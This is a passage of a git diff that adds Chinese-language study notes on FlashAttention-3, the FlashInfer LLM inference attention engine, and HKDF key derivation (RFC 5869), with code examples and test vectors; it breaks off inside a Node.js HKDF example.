"""每块独立 scale → FP8;反量化后做 GEMM 示意。""" + scales = [] + q_blocks = [] + for i in range(0, len(x), block_size): + block = x[i : i + block_size] + s = max(abs(v) for v in block) / 127.0 or 1.0 + scales.append(s) + q_blocks.append([round(v / s) for v in block]) # 示意,非真实 E4M3 + return q_blocks, scales + +# incoherent:Q' = H Q, K' = H K → (Q')(K')^T = Q K^T +Q = [0.1, 0.2, 3.0, 0.15] # 含 outlier 3.0 +K = [0.12, 0.18, 0.05, 0.11] +Hq, Hk = hadamard(Q), hadamard(K) + +# 直接 quant Q 误差大;先 Hadamard 再 block quant 误差更小 +_, _ = block_fp8_quant(Q) +_, _ = block_fp8_quant(Hq) + +dot_orig = sum(Q[i] * K[i] for i in range(len(Q))) +dot_rot = sum(Hq[i] * Hk[i] for i in range(len(Hq))) +assert abs(dot_orig - dot_rot) < 1e-6 # 正交不变性 +``` + +FA3 在 kernel 内把 **FWHT + block FP8 quant + WGMMA + FP32 softmax 累加** 融成一条流水线,避免把 FP8 Q/K 写回 HBM。 + +--- + +## FlashAttention-2 vs FlashAttention-3 对照 + +| 维度 | FlashAttention-2 | FlashAttention-3 | +|------|------------------|------------------| +| 目标 GPU | Ampere / Ada(A100, RTX 40) | **Hopper(H100)** | +| 核心指令 | `mma.sync` | **WGMMA + TMA** | +| 并行哲学 | split-Q、序列维 thread block | **warp specialization + 异步流水** | +| Softmax | 减少 rescale 次数 | **与 GEMM ping-pong / pipeline overlap** | +| 精度 | FP16 / BF16 为主 | **+ FP8 Tensor Core 路径** | +| 数值技巧 | FP32 累加 softmax | **+ block quant + Hadamard incoherent** | +| H100 利用率 | ~35% | **~75%(FP16)** | +| 相对 FA2 加速 | 1× | **1.5–2.0×** | + +数学上仍是 **exact attention**(在声明的 dtype 下),不是 FlashAttention 以外的近似算法。 + +--- + +## 踩过的坑 + +1. **硬件门槛**:FA3 依赖 sm_90;A100 上请继续用 FA2,**不要假设 pip install 就有 FA3**。 +2. **CUDA / 驱动版本**:Hopper + FP8 常要求较新 CUDA(12.x+)与对应 `flash-attn` 编译选项。 +3. **FP8 不是「免费 2×」**:因果 mask、head_dim=256 等场景 FP8 可能 **略慢于或持平 FP16**;需 profile 你的 (B, H, N, D)。 +4. **outlier 依赖**:incoherent processing 对 **严重 outlier 激活** 帮助最大;分布很均匀时 FP8 增益主要是吞吐而非误差。 +5. **与 FA2 相同的 head_dim 限制**:非 8 倍数、过大 head_dim 可能无法 dispatch。 +6. **生态集成滞后**:论文 2024 年中发布;PyTorch 内置 dispatch 随版本迭代——生产环境 **查 `torch.backends.cuda` 与 flash-attn release note**。 + +--- + +## 适用 vs 不适用 + +**适用**: + +- H100 / H800 集群上 **长上下文** LLM 训练或推理 +- 需要 **exact attention** 且希望吃满 Hopper +- 探索 **FP8 训练** 且关心 attention 层数值稳定性 +- 与 PyTorch SDPA、`flash_attn`、cuDNN 9 等栈对比选型 + +**不适用**: + +- Ampere / AMD / Apple Silicon(无 WGMMA/TMA) +- 极短序列(N 很小)——异步流水 overhead 不划算 +- 必须自定义 attention 变体且无法进官方 kernel(考虑 Triton,见 [[triton-llm]]) +- 可接受近似 attention(Performer 等)换复杂度——那是算法路线,不是 FA3 目标 + +--- + +## 与相关工作的位置 + +```text +Attention 瓶颈 + ├── 改算法: Performer, [[mamba]] … + └── 精确 attention + 系统优化: + FlashAttention-1 → IO-aware, O(N) 显存 + FlashAttention-2 → Ampere 并行, ~2× ← [[flashattention-2]] + FlashAttention-3 → Hopper 异步 + FP8 ← 本篇 + PagedAttention → KV 分页 [[paged-attention-vllm]] + cuDNN 9 / ThunderKittens → 同代 Hopper 竞争实现 +``` + +--- + +## 历史小故事(可跳过) + +- **2022–2023**:FA1/FA2 把 LLM context 从 4K 推到 128K+ 的训练/推理成为可能。 +- **2024 年 7 月**:Tri Dao 发布 FA3 预印本与 blog,同日强调 **开源代码**。 +- **NeurIPS 2024**:正式收录;BF16/FP8 峰值数字在 camera-ready 中进一步更新。 +- **PyTorch 官方 blog** 预告 FA3 将集成进未来 PyTorch release——与 [[flashattention-2]] 进 SDPA 的路径类似。 + +Tri Dao 连续三代 attention kernel 说明:**同一数学问题,随硬件代际可反复做 MLSys 深度优化**——Hopper 的「异步」比 Ampere 的「并行划分」又深一层。 + +--- + +## 学到什么 + +1. **新硬件 ≠ 旧程序变快**:H100 上 FA2 仅 35% 利用率;必须用 **WGMMA/TMA 重写数据流**。 +2. **Attention 的隐形瓶颈是 exp**:matmul 越快,softmax 占比越高——**overlap 是第三代的核心**。 +3. **低精度是系统问题**:FP8 要快,既要 **Tensor Core layout**,也要 **块量化 + 正交预处理** 控误差。 +4. **正交变换是可融合的自由午餐**:Hadamard + RoPE 同属 memory-bound,incohere processing 几乎不单独付带宽税。 +5. **读 roofline 要分单元**:Tensor Core TFLOPs 和 special function TFLOPs 是 **两张不同的 roofline**。 + +--- + +## 延伸阅读 + +- 论文:[arXiv:2407.08608](https://arxiv.org/abs/2407.08608) +- 作者博客:[FlashAttention-3 | Tri Dao](https://tridao.me/blog/2024/flash3/) +- PyTorch 解读:[FlashAttention-3 – PyTorch Blog](https://pytorch.org/blog/flashattention-3/) +- 代码:[Dao-AILab/flash-attention](https://github.com/Dao-AILab/flash-attention) +- 前置:[[flash-attention]](v1)、[[flashattention-2]](v2) +- 推理互补:[[paged-attention-vllm]] +- 基础:[[attention]] + +## 关联 + +- [[flashattention-2]] —— 上一代:Ampere 并行与工作划分 +- [[flash-attention]] —— 第一代:IO-aware tiling 与 online softmax +- [[attention]] —— FA3 优化的核心算子 +- [[paged-attention-vllm]] —— KV cache 分页,与 FA3 正交 +- [[flashattention-2]] —— H100 上 FA2 仅 ~35% 利用率的对照基线 +- [[triton-llm]] —— 自定义 attention 变体的常见框架 +- [[gpt-3]] —— 长上下文需求推动 FlashAttention 系列演进 diff --git a/src/content/docs/papers/flashinfer-2024.md b/src/content/docs/papers/flashinfer-2024.md new file mode 100644 index 000000000..df47367ce --- /dev/null +++ b/src/content/docs/papers/flashinfer-2024.md @@ -0,0 +1,334 @@ +--- +title: FlashInfer — LLM 推理的「万能 attention 引擎」零基础笔记 +来源: https://arxiv.org/abs/2501.01005 +日期: 2026-06-13 +子分类: ML 系统 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:外卖平台的「中央厨房 + 现炒档口」 + +想象你经营一家**大型外卖平台**(LLM 推理服务),同时接很多订单: + +- 有的顾客要**整桌宴席**(prefill:一次吃进几千 token 的长 prompt); +- 有的只要**加一道菜**(decode:每步只生成 1 个 token,但要回头翻整本菜谱); +- 有的订单**开头完全一样**(共享 system prompt / RAG 文档前缀); +- 有的走**猜菜再确认**流程(speculative decoding:先草稿、再并行验证)。 + +厨房如果只备**一种灶台**、**一种切菜规则**,要么宴席档口闲着、要么快餐档口排队——这就是早期 LLM serving 里 attention kernel 的困境:**每个框架(vLLM、SGLang、MLC)各自写一套 CUDA,维护成本高,还吃不满 GPU**。 + +**FlashInfer**(Ye 等,MLSys 2025,arXiv [2501.01005](https://arxiv.org/abs/2501.01005))的做法像建一座**中央厨房基础设施**: + +1. **统一食材摆放标准**(block-sparse KV cache 格式)——分页表、Radix 树、树形 speculative mask,都能映射成同一种「块稀疏矩阵」; +2. **现炒档口按订单定制**(JIT 编译 attention 变体)——滑动窗口、logit soft-cap、FlashSigmoid 等,不必为每种变体手写全套 kernel; +3. **调度员动态分锅**(负载均衡调度)——batch 里谁长谁短随时变,仍尽量让每个 SM 都有活干,且能和 **CUDA Graph**(要求静态配置)和平共处。 + +一句话:**FlashInfer 不是又一个 FlashAttention,而是把「推理场景里所有 attention 怎么存、怎么算、怎么调度」收成一套可定制、可生成的引擎**——已被 vLLM、SGLang、MLC-Engine、TensorRT-LLM 等集成。 + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 论文 | *FlashInfer: Efficient and Customizable Attention Engine for LLM Inference Serving* | +| 作者 | Zihao Ye, Lequn Chen, Ruihang Lai, Wuwei Lin 等(UW / CMU / NVIDIA 等) | +| 会议 | MLSys 2025 | +| 开源 | [github.com/flashinfer-ai/flashinfer](https://github.com/flashinfer-ai/flashinfer) | +| 定位 | **推理专用** attention kernel 库 + **代码生成 / JIT** 引擎 | +| 效果(论文) | 相对编译器后端:**29–69%** 词间延迟下降;长上下文:**28–30%**;并行生成:**13–17%** 加速 | + +论文要解决的核心矛盾: + +- **工作负载多样**:prefill、decode、增量 prefill、prefix 共享、speculative 树 attention…… +- **硬件与格式多样**:PagedAttention、RadixAttention、GQA/MQA、不同 GPU 架构(Turing → Blackwell)、不同 mask / score 变体。 + +过去每个 serving 框架各写一套 kernel → 重复劳动、难以跟上新模型特性。FlashInfer 用 **「统一数据抽象 + 模板 JIT + 动态调度」** 把维护面收成一层。 + +--- + +## 为什么重要 + +不理解 FlashInfer,下面几件事很难串起来: + +- 为什么 **vLLM / SGLang** 近年把 attention 底层迁到 FlashInfer,而不只依赖 FlashAttention-2 单体库 +- 为什么 **PagedAttention**(块表)和 **RadixAttention**(前缀树)在实现上可以共用同一套 kernel 接口 +- 为什么推理要单独谈 **decode tile size = 1**、**prefill tile size = 128**——训练 kernel 直接搬过来会慢 +- 为什么 **CUDA Graph** 能显著降延迟,却又和「动态 batch、变长序列」冲突——FlashInfer 的调度是为这个张力设计的 +- 为什么新模型一出 **sliding window、MLA、logit soft-cap**,框架能快速跟上是 JIT 变体在起作用 + +它和 **FlashAttention** 的关系:FlashAttention 优化的是「单次 attention 的 IO」;FlashInfer 站在 **serving 系统** 视角,把 KV 怎么摆、batch 怎么切、变体怎么编译、SM 怎么分活,一起解决。 + +--- + +## 核心概念 + +### 1. Block-Sparse Row(BSR)统一 KV 存储 + +KV cache 在 serving 里往往不是连续大数组: + +- **PagedAttention**:逻辑块 → 物理块,通过 page table 索引; +- **RadixAttention**:共享前缀在树上复用物理块; +- **Speculative decoding**:树形 attention mask。 + +FlashInfer 证明:这些都能看成 **块稀疏矩阵(BSR)**: + +- 行块大小 \(B_r\):通常对齐 **query tile**(一次几个 query 一起算); +- 列块大小 \(B_c\):由 KV 管理策略决定(常为 1 个 token 一块,或更大块)。 + +非零块 = 真正要读的 KV 页;零块直接跳过。这样 **一种 kernel 读写逻辑** 就能覆盖多种 serving 内存布局。 + +### 2. Composable Formats(可组合格式) + +同一 batch 里,不同请求对 KV 的访问模式不同: + +- 共享前缀部分:多行 query 读**同一段** KV → 适合大 \(B_r\),在 shared memory 里复用; +- 各自后缀部分:每行独立 → 适合 \(B_r=1\)。 + +FlashInfer 把 KV **拆成多个 BSR 子矩阵**(不必搬数据,只拆 index),分别用最优块大小计算,再用 **Attention State 组合**(见下)合并结果——类似「大锅炖公共汤底 + 小炒锅炒个性配菜」。 + +### 3. Attention State 与 \(\oplus\) 组合算子 + +来自 online softmax / Flash-Decoding 思想:attention 不必一次算完,可以分块算 **局部状态**,再合并。 + +对每个 index 集合 \(\mathcal{I}\),保存二元组: + +- \(\mathbf{LSE}(\mathcal{I})\):log-sum-exp of scores(logits 的「归一化分母」的对数形式); +- \(\mathbf{O}(\mathcal{I})\):加权 value 输出。 + +两块 \(\mathcal{I}, \mathcal{J}\) 的结果用 \(\oplus\) 合并(与 FlashAttention 的 online softmax 更新同源)。**可结合、可交换** → 适合: + +- 长 KV 分 chunk 并行; +- composable format 多子矩阵; +- cascade / 分层 KV。 + +FlashInfer 把 **Attention State** 当作 attention op 的标准输出类型(类似 GEMM 里的累加器)。 + +### 4. 多 Tile 尺寸 + 架构感知模板 + +训练向 prefill 优化,推理还要照顾 **decode(\(l_{qo}=1\))**: + +- query tile \(T_q \in \{1,16,32,64,128\}\); +- KV tile 多种组合; +- \(T_q=1\) 走 **CUDA Core**(tensor core 最小行宽 16,单 token decode 用不上); +- Hopper 上 FA3 路径用 WGMMA,tile 为 64 的倍数。 + +根据 **平均 query 长度、寄存器/共享内存预算、SM 占用率** 启发式选 tile——同一套模板,编译期定参数。 + +### 5. JIT 可定制 Attention 变体 + +维护「每个模型一种手写 CUDA」不可持续。FlashInfer 提供 **变体规约(variant specification)**,用户用 CUDA 片段定义 functor: + +| Functor | 作用 | +|---------|------| +| `QueryTransform` / `KeyTransform` / `ValueTransform` | 算分前对 Q/K/V 变换(可融合 RoPE、RMSNorm) | +| `LogitsTransform` / `LogitsMask` | softmax 前改 logits(滑动窗口、soft-cap) | +| `OutputTransform` | 输出后处理 | + +JIT 把变体 **填进 FlashAttention 骨架模板**,PyTorch extension 编译注册为 custom op。灵感来自 **FlexAttention**,但面向 **推理 serving + block-sparse KV**。 + +### 6. 负载均衡调度 + CUDA Graph 兼容 + +Serving batch 里每个请求的 \(l_{qo}, l_{kv}\) 时刻在变。FlashInfer 运行时: + +1. 按 query tile \(T_q\) 切 tile,估算每 tile 代价 \(\text{cost} = \alpha l_q + \beta l_{kv}\); +2. 把 KV 再切成 chunk,**贪心 / 优先队列** 分给各 CTA,平衡 SM 负载; +3. **编译期** 定 tile 配置,**运行期** 只喂序列长度——满足 CUDA Graph「图结构静态、张量地址固定」的要求。 + +受 **Stream-K** 启发,但 **不用原子累加**(避免非确定性输出,serving 要可复现)。 + +### 7. 与 FlashAttention-2/3 的分工 + +| 层次 | FlashAttention | FlashInfer | +|------|----------------|------------| +| 主要场景 | 训练 / 通用前向 | **LLM inference serving** | +| KV 布局 | 多为稠密或简单 mask | **Paged / Radix / 树 / 稀疏** 统一 BSR | +| 变体扩展 | 相对固定 | **JIT 模板** | +| 调度 | 较少涉及 batch 动态 | **CTA 级负载均衡** | +| 集成 | PyTorch SDPA 后端 | vLLM、SGLang、MLC 等 **引擎内核** | + +FlashInfer 内部可选用 FA2(Ampere 及以前)或 FA3(Hopper)作为微内核,外面再包 serving 语义。 + +--- + +## 代码示例 + +### 示例 1:单请求 decode — `single_decode_with_kv_cache` + +最基础的推理形态:query 只有 **当前 1 个 token**,KV 是历史 cache。 + +```python +import torch +import flashinfer + +# q: [num_qo_heads, head_dim] — decode 时通常只有 1 个 query token +# k, v: [kv_len, num_kv_heads, head_dim] — 历史 KV(或本步 append 前) +q = torch.randn(32, 128, device="cuda", dtype=torch.float16) +k = torch.randn(2048, 32, 128, device="cuda", dtype=torch.float16) +v = torch.randn(2048, 32, 128, device="cuda", dtype=torch.float16) + +output = flashinfer.single_decode_with_kv_cache(q, k, v) +# output.shape == q.shape +``` + +对比朴素 PyTorch attention,FlashInfer 在 **小 query、长 KV** 的 decode regime 下用对 tile 与内存访问模式,这正是 serving 里占大头的路径。 + +### 示例 2:Paged KV batch decode — `BatchDecodeWithPagedKVCacheWrapper` + +与 **vLLM PagedAttention** 同构:每个序列的 KV 存在 **非连续物理块** 里,用 `indptr` / `indices` 描述块表。 + +```python +import torch +import flashinfer + +num_layers = 32 +num_heads = 32 +head_dim = 128 +page_size = 16 # 每块存 16 个 token 的 KV +max_num_pages = 1024 +batch_size = 8 + +# 物理 KV 池:[num_pages, 2, page_size, num_heads, head_dim](2 = K 与 V) +kv_cache = torch.randn( + max_num_pages, 2, page_size, num_heads, head_dim, + device="cuda", dtype=torch.float16, +) + +# 块表:indptr 长度 batch+1,indices 列出每个序列占用的物理页号 +kv_page_indptr = torch.tensor( + [0, 3, 5, 8, 10, 12, 15, 18, 20], device="cuda", dtype=torch.int32 +) +kv_page_indices = torch.randint( + 0, max_num_pages, (20,), device="cuda", dtype=torch.int32 +) +# 每个序列最后一页用了几个 slot(未满页) +kv_last_page_len = torch.tensor( + [16, 8, 12, 16, 4, 16, 10, 16], device="cuda", dtype=torch.int32 +) + +# 当前步要 attend 的 query:[batch, num_heads, head_dim] +q = torch.randn(batch_size, num_heads, head_dim, device="cuda", dtype=torch.float16) + +wrapper = flashinfer.BatchDecodeWithPagedKVCacheWrapper( + torch.empty(128 * 1024 * 1024, dtype=torch.uint8, device="cuda") # workspace +) +wrapper.plan( + kv_page_indptr, kv_page_indices, kv_last_page_len, + num_heads, num_heads, head_dim, page_size, causal=True, +) +output = wrapper.run(q, kv_cache) +``` + +`plan()` 阶段根据 batch 的序列长度做 **调度与 tile 选择**;`run()` 执行 kernel。同一 `plan` 可配合 **CUDA Graph 捕获**,降低每 token 的 CPU launch 开销——这是论文强调的工程点。 + +### 示例 3(补充):prefill + decode 混合 — POD-Attention 思路 + +生产 batch 常 **prefill 与 decode 混在同一 forward**。FlashInfer 提供 **POD-Attention** 等融合路径,避免为两类请求各跑一遍完整 kernel 流水线。概念上: + +```python +# 伪代码:同一 batch 内 ragged Q,BSR 格式 KV,一次 launch 覆盖多 phase +# flashinfer 高层 API 随版本演进,核心是「ragged query + block-sparse KV」统一入口 +outputs, lse = flashinfer.prefill_with_paged_kv_cache( + q_ragged, kv_cache, kv_page_indptr, kv_page_indices, kv_last_page_len, + causal=True, +) +``` + +具体函数名以 [docs.flashinfer.ai](https://docs.flashinfer.ai) 为准;论文贡献在于 **数据结构与调度** 支持这种混合,而非单一函数名。 + +--- + +## 论文实验结果(精读摘要) + +| 场景 | 对比对象 | 主要结论 | +|------|----------|----------| +| LLM serving benchmark | 编译器类后端(如 torch.compile 路径) | 词间延迟 **↓29–69%** | +| 长上下文推理 | 同类 serving 方案 | 延迟 **↓28–30%** | +| Parallel generation(beam / 多分支) | 基线引擎 | **13–17%** 端到端加速 | +| Kernel micro-benchmark | FlashAttention-2、xformers 等 | 多配置下吞吐领先或持平,优势在 **异构 batch + paged KV** | + +评估覆盖 **kernel 级** 与 **端到端 serving**;集成框架包括 vLLM、SGLang、MLC-Engine。 + +--- + +## 与相关工作的关系 + +```text +FlashAttention (IO-aware 精确 attention) + ↓ 微内核算法 +FlashInfer (serving 层:BSR KV + JIT 变体 + 调度) + ↓ 被集成 +vLLM (PagedAttention) / SGLang (RadixAttention) / MLC-Engine / TensorRT-LLM +``` + +- **[PagedAttention / vLLM](paged-attention-vllm.md)**:解决 KV **怎么分页**;FlashInfer 解决 **分页后 attention 怎么快算**。 +- **[SGLang / RadixAttention](sglang-radixattention.md)**:解决前缀 **怎么共享**;FlashInfer 用 composable BSR **吃共享前缀**。 +- **FlashAttention-2/3**:单算子极致;FlashInfer **包一层 serving 语义** 并 JIT 变体。 +- **FlexAttention**:训练侧灵活 mask;FlashInfer 把类似 **functor** 思想带到 **CUDA JIT + 推理 KV**。 + +--- + +## 安装与验证(工程向) + +```bash +pip install flashinfer-python +# 可选:预编译 cubin / jit-cache,减少首次编译等待 +pip install flashinfer-cubin +pip install flashinfer-jit-cache --index-url https://flashinfer.ai/whl/cu129 + +flashinfer show-config # 确认 CUDA arch、缓存路径 +``` + +支持 GPU:SM75(Turing)至 Blackwell;CUDA 12.6+。日志调试:`FLASHINFER_LOGLEVEL=3`。 + +--- + +## 局限与后续方向(论文自述) + +- 更高层 DSL(如 TensorIR 类)编译到 FlashInfer 规约,降低手写 functor 成本; +- 更多后端(Triton、其他厂商 NPU)的代码生成; +- 新 attention(MLA、FP8/FP4 KV)需持续扩展模板与调度启发式。 + +--- + +## 自测题 + +1. 为什么 PagedAttention 的 page table 可以看成 BSR 稀疏矩阵?\(B_c=1\) 时列块代表什么? +2. decode 阶段为什么常用 \(T_q=1\) 的 tile,且走 CUDA Core 而非 Tensor Core? +3. Attention State 的 \(\oplus\) 运算解决了什么问题?和 online softmax 有何联系? +4. FlashInfer 如何在「动态序列长度」与「CUDA Graph 静态图」之间折中? +5. 若两个请求共享 4k token 前缀,composable format 如何减少重复 KV 读取? + +
+参考答案(要点) + +1. 每个物理 KV 块是 \((H,D)\) 张量;page table 指出哪些块被访问 → 非零块;\(B_c=1\) 时常对应 **每列一块 token** 的细粒度 paging。 +2. decode 每次只有 1 个 query token,用大 query tile 浪费;Tensor Core 最小行 16,单 token 不适配。 +3. 分块算 attention 后 **确定性合并** 局部结果;\(\oplus\) 等价于分段 online softmax 的合并公式。 +4. **编译期** 固定 tile / kernel 配置;**运行期** 只变序列长度与调度映射;图结构不变。 +5. 共享前缀对应稠密子矩阵,用大 \(B_r\) 存 BSR,多 query 在 shared memory 共读一段 KV;独有后缀用小 \(B_r\) 分开算再 \(\oplus\) 合并。 + +
+ +--- + +## 延伸阅读 + +- 论文 PDF:[arXiv:2501.01005](https://arxiv.org/abs/2501.01005) +- 官方文档:[docs.flashinfer.ai](https://docs.flashinfer.ai) +- 本库笔记:[FlashAttention](flash-attention.md)、[PagedAttention / vLLM](paged-attention-vllm.md)、[SGLang / RadixAttention](sglang-radixattention.md) + +--- + +## 引用 + +```bibtex +@article{ye2025flashinfer, + title = {FlashInfer: Efficient and Customizable Attention Engine for LLM Inference Serving}, + author = {Ye, Zihao and Chen, Lequn and Lai, Ruihang and others}, + journal = {arXiv preprint arXiv:2501.01005}, + year = {2025}, + url = {https://arxiv.org/abs/2501.01005} +} +``` diff --git a/src/content/docs/papers/hkdf-rfc5869.md b/src/content/docs/papers/hkdf-rfc5869.md new file mode 100644 index 000000000..f7ec63e25 --- /dev/null +++ b/src/content/docs/papers/hkdf-rfc5869.md @@ -0,0 +1,283 @@ +--- +title: HKDF (RFC 5869) — 从「不太均匀的原料」榨出多把互不串味的密钥 +来源: https://www.rfc-editor.org/rfc/rfc5869 +日期: 2026-06-13 +分类: 安全与隐私 +子分类: 安全与隐私 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**HKDF**(HMAC-based Extract-and-Expand Key Derivation Function)是 IETF **RFC 5869**(2010 年 5 月,Hugo Krawczyk & Pasi Eronen)定义的一套**密钥派生函数(KDF)**。它用 HMAC 把「初始密钥材料」变成一把或多把**密码学上可用的秘密密钥**,是 TLS 1.3、Noise、Signal、IKEv2、Web Crypto 等系统的常见积木。 + +日常类比: + +> 你有一桶**成分不太均匀的果汁**(Diffie-Hellman 共享值、熵池采样、协议协商结果——熵可能分散、格式也不均匀)。 +> - **Extract(提取)** = 用滤网 + 离心机把果汁**浓缩**成一小杯标准浓度的「基底液」**PRK**(pseudorandom key)。 +> - **Expand(扩展)** = 用同一杯基底,按不同**口味标签**(`info`)倒出多杯饮料:一杯给 AES 加密、一杯给 MAC、一杯给 IV——**杯子可以很多,但彼此味道独立**,不会串味。 +> +> 若你手里本来就是一瓶**出厂即合格的纯果汁**(已是均匀随机的 256 位密钥),可以跳过 Extract,只做 Expand——但 DH 共享值 `g^{xy}` **绝不是**这种合格果汁,Extract 不能省。 + +HKDF 的设计哲学是 **extract-then-expand**:先「浓缩熵」,再「按需拉长并域分离」。这比早期「直接把 DH 结果当 HMAC 密钥」或「单一 PRF 链式扩展」更保守、更好分析。 + +## 为什么重要 + +不理解 HKDF,现代协议里的密钥调度全是黑盒: + +- **TLS 1.3** 用 HKDF-Extract / HKDF-Expand 从 ECDHE 共享秘密逐级派生 Early / Handshake / Application traffic keys(见 [[tls-1-3-rfc8446]]) +- **Noise** 握手里每次 `MixKey` 本质上是 HKDF 风格链式派生(见 [[noise-protocol-framework]]) +- **Signal Double Ratchet** 的 `KDF_CK` / `KDF_RK` 推荐 HMAC / HKDF(见 [[signal-double-ratchet-2016]]) +- **WireGuard** 用 HKDF-BLAKE2s 从链密钥派生会话密钥(见 [[wireguard-2017]]) +- 浏览器 **Web Crypto API**、Node.js `crypto.hkdf`、Go `crypto/hkdf`、Rust `ring` 都内置 HKDF + +一句话:**HKDF 是「从共享秘密到多把专用密钥」的标准配方**;用错(跳过 Extract、复用 `info`、把密码当 IKM)会导致真实漏洞或审计红灯。 + +## 核心概念 + +### 1. 两阶段总览 + +```text +IKM (Input Keying Material) salt (可选,非秘密) + \ / + \ / + v v + +-----------------------------+ + | HKDF-Extract | + | PRK = HMAC-Hash(salt, IKM)| + +-----------------------------+ + | + | PRK (固定 HashLen 字节) + v + +-----------------------------+ + | HKDF-Expand | + | OKM = Expand(PRK, info, L) | + +-----------------------------+ + | + v + OKM (L 字节,可切成多把 key) +``` + +完整调用常写作: + +```text +HKDF(Hash, salt, IKM, info, L) = HKDF-Expand(PRK, info, L) + where PRK = HKDF-Extract(salt, IKM) +``` + +### 2. Extract:浓缩熵 + +| 项目 | 说明 | +|------|------| +| 输入 `IKM` | 初始密钥材料——DH 共享值、PSK、熵池输出等 | +| 输入 `salt` | **可选**、**不必保密**的随机串;缺省时 RFC 规定为 `HashLen` 个 `0x00` | +| 输出 `PRK` | 长度 = `HashLen`(如 SHA-256 → 32 字节)的伪随机密钥 | +| 公式 | `PRK = HMAC-Hash(salt, IKM)` | + +注意 HMAC 参数顺序:**salt 是 HMAC 的 key,IKM 是 message**(与直觉相反,但规范如此)。 + +Extract 解决的是:IKM 可能**熵不均匀**、攻击者**部分知道**其内容(例如 DH 值的低位结构)。Extract 把分散熵「压」进固定长度 PRK,使后续 Expand 建立在 PRF 假设上。 + +### 3. Expand:拉长 + 域分离 + +| 项目 | 说明 | +|------|------| +| 输入 `PRK` | 通常来自 Extract;长度 ≥ `HashLen` | +| 输入 `info` | **可选**上下文绑定串——协议号、算法 ID、方向标签等;可为空 | +| 输入 `L` | 想要的输出字节数,**≤ 255 × HashLen** | +| 输出 `OKM` | `L` 字节的输出密钥材料 | + +Expand 用**反馈链**生成足够长的伪随机流: + +```text +N = ceil(L / HashLen) +T(0) = empty +T(1) = HMAC-Hash(PRK, T(0) | info | 0x01) +T(2) = HMAC-Hash(PRK, T(1) | info | 0x02) +T(3) = HMAC-Hash(PRK, T(2) | info | 0x03) +... +OKM = first L bytes of (T(1) | T(2) | ... | T(N)) +``` + +末尾单字节计数器 `0x01, 0x02, …` 保证每轮 HMAC 输入不同。`info` 把 OKM **绑定到用途**:同一 IKM 派生「客户端写密钥」和「服务器写密钥」时,必须用不同的 `info`,否则两把 key 相关,灾难。 + +### 4. 参数选用指南(RFC Section 3 精华) + +| 参数 | 建议 | +|------|------| +| **salt** | 有就用。不必保密,但应**独立于 IKM** 且攻击者不能操控(IKE 里常从已认证 nonce 来) | +| **info** | 强烈建议非空:含协议版本、密钥用途、长度 `L` 等,防跨上下文密钥复用 | +| **跳过 Extract** | 仅当 IKM **已是**高质量均匀随机密钥;**DH 共享值绝不能跳过** | +| **Hash** | SHA-256 是默认常识;TLS 1.3 按 cipher suite 用 SHA-256 或 SHA-384 | + +### 5. HKDF 做不到的事 + +- **不能放大熵**:弱密码、低熵用户输入 → 应使用 **PBKDF2 / scrypt / Argon2**(RFC 5869 Section 5 明确说 HKDF 不适合单独做密码 KDF) +- **不是加密**:只派生密钥,不保密传输数据 +- **不替代随机数生成器**:PRNG 可以**用** HKDF 整理熵池,但 IKM 本身要有足够熵 + +### 6. 与 NIST SP 800-108 的区别(直觉) + +NIST 的 HMAC-DRBG / SP 800-108 类 KDF 常假设输入**已是**均匀随机 PRK。HKDF 的 Extract 阶段专门处理「IKM 不够好」的现实场景(DH、熵混合)。NIST SP 800-56C 也采纳了 extract-then-expand,并引用 Krawczyk 的 HKDF 论文作为设计依据。 + +## 在 TLS 1.3 里怎么用(简化) + +TLS 1.3 密钥调度是典型的「多级 Extract + 带标签 Expand」: + +```text +early_secret = HKDF-Extract(0, PSK_or_0) +handshake_secret = HKDF-Extract(Derive-Secret(early_secret, "derived"), shared_secret) +master_secret = HKDF-Extract(Derive-Secret(handshake_secret, "derived"), 0) + +client_hs_traffic = HKDF-Expand-Label(handshake_secret, "c hs traffic", transcript_hash, L) +server_hs_traffic = HKDF-Expand-Label(handshake_secret, "s hs traffic", transcript_hash, L) +client_ap_traffic = HKDF-Expand-Label(master_secret, "c ap traffic", transcript_hash, L) +server_ap_traffic = HKDF-Expand-Label(master_secret, "s ap traffic", transcript_hash, L) +``` + +`Expand-Label` 是 TLS 对 HKDF-Expand 的包装:把 `info` 结构化成 `tls13 ` + label + Hash(context)。这样 **handshake 密钥**和 **application 密钥**即使来自同一握手 transcript,也**计算独立**。 + +## 代码示例 1:Python — 对照 RFC 5869 附录测试向量 + +RFC 附录 **Test Case 1**(SHA-256)是验证实现是否正确的金标准: + +```python +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.kdf.hkdf import HKDFExpand, HKDFExtract + +# RFC 5869 Appendix A.1 +ikm = bytes.fromhex("0b" * 11 + "0b0b0b0b0b0b0b0b0b0b0b") # 22 bytes +salt = bytes.fromhex("000102030405060708090a0b0c") +info = bytes.fromhex("f0f1f2f3f4f5f6f7f8f9") +L = 42 + +hash_alg = hashes.SHA256() +prk = HKDFExtract(algorithm=hash_alg, salt=salt).derive(ikm) +okm = HKDFExpand(algorithm=hash_alg, length=L, info=info).derive(prk) + +expected_prk = bytes.fromhex( + "077709362c2e32df0ddc3f0dc47bba6390b6c73bb50f9c3122ec844ad7c2b3e5" +) +expected_okm = bytes.fromhex( + "3cb25f25faacd57a90434f64d0362f2a2d2d0a90cf1a5a4c5db02d56ecc4c5bf" + "34007208d5b887185865" +) + +assert prk == expected_prk, "Extract failed" +assert okm == expected_okm, "Expand failed" +print("RFC 5869 Test Case 1: OK") +``` + +一次性 `HKDF()` 封装(Extract + Expand 合体): + +```python +from cryptography.hazmat.primitives.kdf.hkdf import HKDF + +okm2 = HKDF( + algorithm=hashes.SHA256(), + length=L, + salt=salt, + info=info, +).derive(ikm) +assert okm2 == expected_okm +``` + +跑通 Test Case 1–3(SHA-256)是写密码库时的常规自检。 + +## 代码示例 2:Node.js — 从 DH 共享秘密派生 AES 密钥与 HMAC 密钥 + +应用层常见模式:一次 ECDH,用不同 `info` 切出加密钥和 MAC 钥(**教学示例,生产请用成熟协议如 TLS / Noise**): + +```javascript +import { hkdf, randomBytes, createDiffieHellman } from "node:crypto"; +import { promisify } from "node:util"; + +const hkdfAsync = promisify(hkdf); + +// 模拟双方 X25519 式 DH(此处用有限域 DH 演示 API) +const alice = createDiffieHellman(2048); +const bob = createDiffieHellman(alice.getPrime(), alice.getGenerator()); 